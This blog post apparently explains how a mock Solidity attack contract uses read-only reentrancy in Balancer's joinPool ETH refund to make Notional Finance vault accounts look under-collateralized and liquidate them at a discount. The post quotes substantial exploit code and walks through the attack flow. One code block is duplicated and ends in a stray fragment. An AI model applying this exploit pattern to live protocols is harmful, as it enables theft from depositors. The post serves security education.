Theoretical-Practical: Balancer and Read only Reentrancy Part 2

KamiWar
Coinmonks
8 min readMar 11, 2023

--

In part II of this two part series on read only reentrancy and Balancer, we will undertake a deep dive into a mock attack contract that exploits the vulnerability as described in the previous article.

The aim of this attack contract is to allow the attacker to liquidate and profit from artificially under-collateralized accounts within the Notional Finance ecosystem. Unlike institutional actors in traditional finance, Notional Finance and other DeFi protocols do not have a standardized procedure to issue margin calls and liquidate under-collateralized protocol accounts. Instead, the liquidation process is outsourced to private liquidators and the liquidator who is able to detect and liquidate a distressed account in the fastest manner possible is entitled receive a portion of the liquidation proceeds as a reward. Unfortunately, the presence of read only reentrancy allows for sufficiently collateralized accounts to be artificially under-collateralized and vulnerable to liquidation.

Once again, code will be provided below but please kindly reference this Github link to see the contract in its entirety. Before we begin our deep dive, I want to express my thanks to the Notional Finance team for providing this mock attack contract(”MockBalancerCallback”).

We will first examine the library, state variables and constructor within MockBalancerCallback.

 using TokenUtils for IERC20;

NotionalProxy public immutable NOTIONAL;
address public immutable BALANCER_POOL_TOKEN;
CallbackParams internal callbackParams;

struct CallbackParams {
address account;
address vault;
bytes redeemData;
}

constructor(NotionalProxy notional_, address balancerPool_) {
NOTIONAL = notional_;
BALANCER_POOL_TOKEN = balancerPool_;
}

As aptly named, the TokenUtils library provides certain utility functions for ERC20 tokens. The utility function that we are concerned with is checkApprove which will be explored later on in this article.

MockBalancerCallback contains two immutable state variables: NOTIONAL and BALANCER_POOL_TOKEN which are of type NotionalProxy and address respectively and assigned at construction time. For context,NotionalProxy is a smart contract interface that allows protocol users to interact directly with Notional Finance’s protocol without relying on a GUI. The interface itself is fairly complex as it inherits from seven different parent interfaces and contains an extensive amount of functions with respect to accounts, batching and liquidation. Fortunately, we are only focused with the getVaultAccountCollateralRatio function which NotionalProxy inherits from the IVaultController interface.

Lastly, we have the callbackParams variable which is a struct that holds information pertaining to the account MockBalancerCallback will attempt to liquidate. The account field specifies the address that we are trying to liquidate while the vault field specifies the specific Notional vault that the victim address is currently entered into.

We kickstart the attack by invoking the deleverage function (note, the latter section of the deleverage function has been omitted for the sake of readability).

function deleverage(
uint256 primaryAmount, //Roughly the same to join without upsetting price
uint256 secondaryAmount,
CallbackParams calldata params
) external {
IERC20(address(Deployments.WRAPPED_STETH)).checkApprove(
address(Deployments.BALANCER_VAULT),
type(uint256).max
);
callbackParams = params;

IAsset[] memory assets = new IAsset[](2);
assets[1] = IAsset(address(0));
assets[0] = IAsset(address(Deployments.WRAPPED_STETH));

uint256[] memory amounts = new uint256[](2);
// Join with 1 gWei less than msgValue to trigger callback
amounts[1] = primaryAmount - 1e9;
amounts[0] = secondaryAmount;

uint256 msgValue;
msgValue = primaryAmount;
}

function checkApprove(IERC20 token, address spender, uint256 amount) internal {
if (address(token) == address(0)) return;

IEIP20NonStandard(address(token)).approve(spender, 0);
_checkReturnCode();
if (amount > 0) {
IEIP20NonStandard(address(token)).approve(spender, amount);
_checkReturnCode();
}
}

The first step of deleverage involves IERC20(address(Deployments.WRAPPED_STETH))calling the checkApprove function from the TokenUtils library. The Deployments library contains a list of deployment addresses for various ERC20 and DeFi smart contracts that are deployed on the ETH Mainnet for easy access by other contracts within the Notional Finance repo.

In this case, the Wrapped Liquid Staked Ether contract (”wstETH”) from Lido approves the Balancer Vault contract to allow it to spend the maximum amount of wstETH on behalf of MockBalancerCallback.

After the approval is complete, deleverage prepares the payload that will be sent when the malicious join is initialized into the Balancer Vault. We first instantiate the assets variable in memory which is of type IAsset[]. Interesting enough, if one looks at the code for IAsset, one will notice that it is actually an empty interface. While this may seem confusing, we see from Balancer’s documentation that IAsset is used to represent ERC20 token contracts or ETH and that the addresses need to be wrapped around an interface in order for joinPool to be successful (more details below).

Next, we create the assets variable which is of type uint256[] and populate the first two elements with primaryAmount - 1e9 and secondaryAmount respectively. The rationale behind decrementing primaryAmount by 1e9 is so that the malicious join is initiated with 1 less gwei in order to trigger the ETH refund process as described in Part 1.

Finally, we set msgValue which is of type uint256 to be equal to primaryAmount.

In the second part of the deleverage function, the contract grabs reference to the Balancer Vault and invokes the joinPool method while sending the Balancer Vault an amount of ETH equivalent to msgValue.

function deleverage(
uint256 primaryAmount,
uint256 secondaryAmount,
CallbackParams calldata params
) external {

Deployments.BALANCER_VAULT.joinPool{value: msgValue}(
0x32296969ef14eb0c6d29669c550d4a0449130230000200000000000000000080,
address(this),
address(this),
IBalancerVault.JoinPoolRequest(
assets,
amounts,
abi.encode(
IBalancerVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT,
amounts,
0
),
false // Don't use internal balances
)
);
}

function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable override whenNotPaused {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.

// Note that `recipient` is not actually payable in the context of a join - we cast it because we handle both
// joins and exits at once.
_joinOrExit(PoolBalanceChangeKind.JOIN, poolId, sender, payable(recipient), _toPoolBalanceChange(request));
}

struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}

As shown above, MockBalancerCallback hardwires the poolId to 0x32296969ef14eb0c6d29669c550d4a0449130230000200000000000000000080 while setting itself as the sender and recipient. The contract also inputs the request param which is a JoinPoolRequest struct partially derived from the two in-memory arrays (assets and amounts). The fromInternalBalance field within request is set to false so that the pool tokens are sent to MockBalancerCallback in an ERC-20 transfer and are not deposited in the contract’s internal balances.

In any case, the invocation of joinPool will trigger the read only reentrancy flow as any excess ETH that is sent during the join will be refunded back to the contract via the low level call API and hit the receive() function within MockBalancerCallback.

function deleverage(
uint256 primaryAmount,
uint256 secondaryAmount,
CallbackParams calldata params
) external {

Deployments.BALANCER_VAULT.joinPool{value: msgValue}(
0x32296969ef14eb0c6d29669c550d4a0449130230000200000000000000000080,
address(this),
address(this),
IBalancerVault.JoinPoolRequest(
assets,
amounts,
abi.encode(
IBalancerVault.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT,
amounts,
0
),
false // Don't use internal balances
)
);
}

function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable override whenNotPaused {
// This function doesn't have the nonReentrant modifier: it is applied to `_joinOrExit` instead.

// Note that `recipient` is not actually payable in the context of a join - we cast it because we handle both
// joins and exits at once.
_joinOrExit(PoolBalanceChangeKind.JOIN, poolId, sender, payable(recipient), _toPoolBalanceChange(request));
}

struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}ja

There is an initial check to determine that the origin of the ETH being refunded is from the Balancer Vault. Once this check is passed, NOTIONAL will call the getVaultAccountCollateralRatio function while passing in the address of the victim account and the address of the Notional vault contained within callbackParams. For the sake of brevity, we will not dedicate too much time analyzing the mechanics behind Notional’s collateral calculation and liquidation process although this may be covered in a future article.

function getVaultAccountCollateralRatio(address account, address vault) external override view returns (
int256 collateralRatio,
int256 minCollateralRatio,
int256 maxLiquidatorDepositAssetCash,
uint256 vaultSharesToLiquidator
) {
VaultConfig memory vaultConfig = VaultConfiguration.getVaultConfigView(vault);
VaultAccount memory vaultAccount = VaultAccountLib.getVaultAccount(account, vault);
VaultState memory vaultState = VaultStateLib.getVaultState(vault, vaultAccount.maturity);
minCollateralRatio = vaultConfig.minCollateralRatio;

if (vaultState.isSettled) {
// In this case, the maturity has been settled and although the vault account says that it has
// some fCash balance it does not actually owe any debt anymore.
collateralRatio = type(int256).max;
} else {
int256 vaultShareValue;
(collateralRatio, vaultShareValue) = vaultConfig.calculateCollateralRatio(
vaultState, account, vaultAccount.vaultShares, vaultAccount.fCash
);

// Calculates liquidation factors if the account is eligible
if (collateralRatio < minCollateralRatio && vaultShareValue > 0) {
(maxLiquidatorDepositAssetCash, /* */) = vaultAccount.calculateDeleverageAmount(
vaultConfig, vaultShareValue
);

vaultSharesToLiquidator = maxLiquidatorDepositAssetCash.toUint()
.mul(vaultConfig.liquidationRate.toUint())
.mul(vaultAccount.vaultShares)
.div(vaultShareValue.toUint())
.div(uint256(Constants.RATE_PRECISION));
}
}

getVaultAccountCollateralRatio returns four values and the primary return value of note is maxLiquidatorDepositAssetCash. First, we instantiate a list of in-memory variables (vaultConfig, vaultAccount, etc.) to gain access to certain vault and collateral helper functions. Here, we see that vaultConfig invokes the minCollateralRatio method to derive the minCollateralRatio variable.

The initial If Check with respect to vaultState.isSettled determines if the current vault has already matured. If the check resolves to a truthy value, users within the vault do not owe any debt anymore making liquidation impossible. Click here for a quick summary on Notional’s Leveraged Vaults.

If the Vault has not been settled, vaultConfig will call calculateCollateralRatio to calculate the collateralRatio and the vaultShareValue which as the name implies, represents the collateral ratio of an account and the value of that account’s vault shares denominated in asset cash.

If the collateralRatio is less than the minCollateralRatio and if vaultShareValue is greater than 0, this means that the account in question is eligible for liquidation. vaultAccount will then call the calculateDeverlageAmount function to return maxLiquidatorDepositAssetCash. This variable represents the maximum amount a liquidator can deposit in asset cash to offset the victim account’s debt position.

Once maxLiquidatorDepositAssetCash has been determined, the attack contract will invoke deleverageAccount on the Notional vault targeting the victim address as laid out in callbackParams.

receive() external payable {
if (msg.sender == address(Deployments.BALANCER_VAULT)) {

IStrategyVault(callbackParams.vault).deleverageAccount(
callbackParams.account,
callbackParams.vault,
address(this),
uint256(maxLiquidatorDepositAssetCash),
true,
callbackParams.redeemData //Not necessary
);

emit AccountDeleveraged(callbackParams.account);
}
}

In the interest of brevity, we will not run through the internal logic of this function although inquisitive readers may click this link to review the function in full. The end result of deleverageAccount is that MockBalancerCallback will be able to purchase the victim account’s vault shares at a discount and redeem them for cash at the expense of the victim account’s position within the vault being liquidated.

We have now established a clear attack flow on how a malicious attacker might be able to use read only reentrancy to manipulate collateral ratios from protocols that rely on Balancer and liquidate any unlucky accounts. Given the complexity of some of the collateral and liquidation mechanics that was given ample analysis in this article, my next article will aim to demystify the logic and math behind Notional Finance’s Leveraged Vault.

[1]: Notional Finance. (Last updated as of February 15, 2023). https://github.com/notional-finance/leveraged-vaults/blob/b0678a70d8c944b665e13269dc950c1f9021461e/contracts/mocks/balancer/MockBalancerCallback.sol

[2]: Notional Finance. (Last updated as of June 6, 2022). https://github.com/notional-finance/leveraged-vaults/blob/master/interfaces/notional/NotionalProxy.sol

[3]: Notional Finance. (Last updated as of October 18, 2022) https://github.com/notional-finance/leveraged-vaults/blob/master/contracts/global/Deployments.sol

[4]: Teddy Woodward. (September 7, 2022). Introducing Leveraged Vaults https://blog.notional.finance/introducing-leveraged-vaults/

[5] Notional Finance. (Last updated as of November 3, 2022) https://github.com/notional-finance/contracts-v2/blob/63eb0b46ec37e5fc5447bdde3d951dd90f245741/contracts/external/actions/VaultAccountAction.sol

New to trading? Try crypto trading bots or copy trading on best crypto exchanges

Join Coinmonks Telegram Channel and Youtube Channel get daily Crypto News

Also, Read

--

--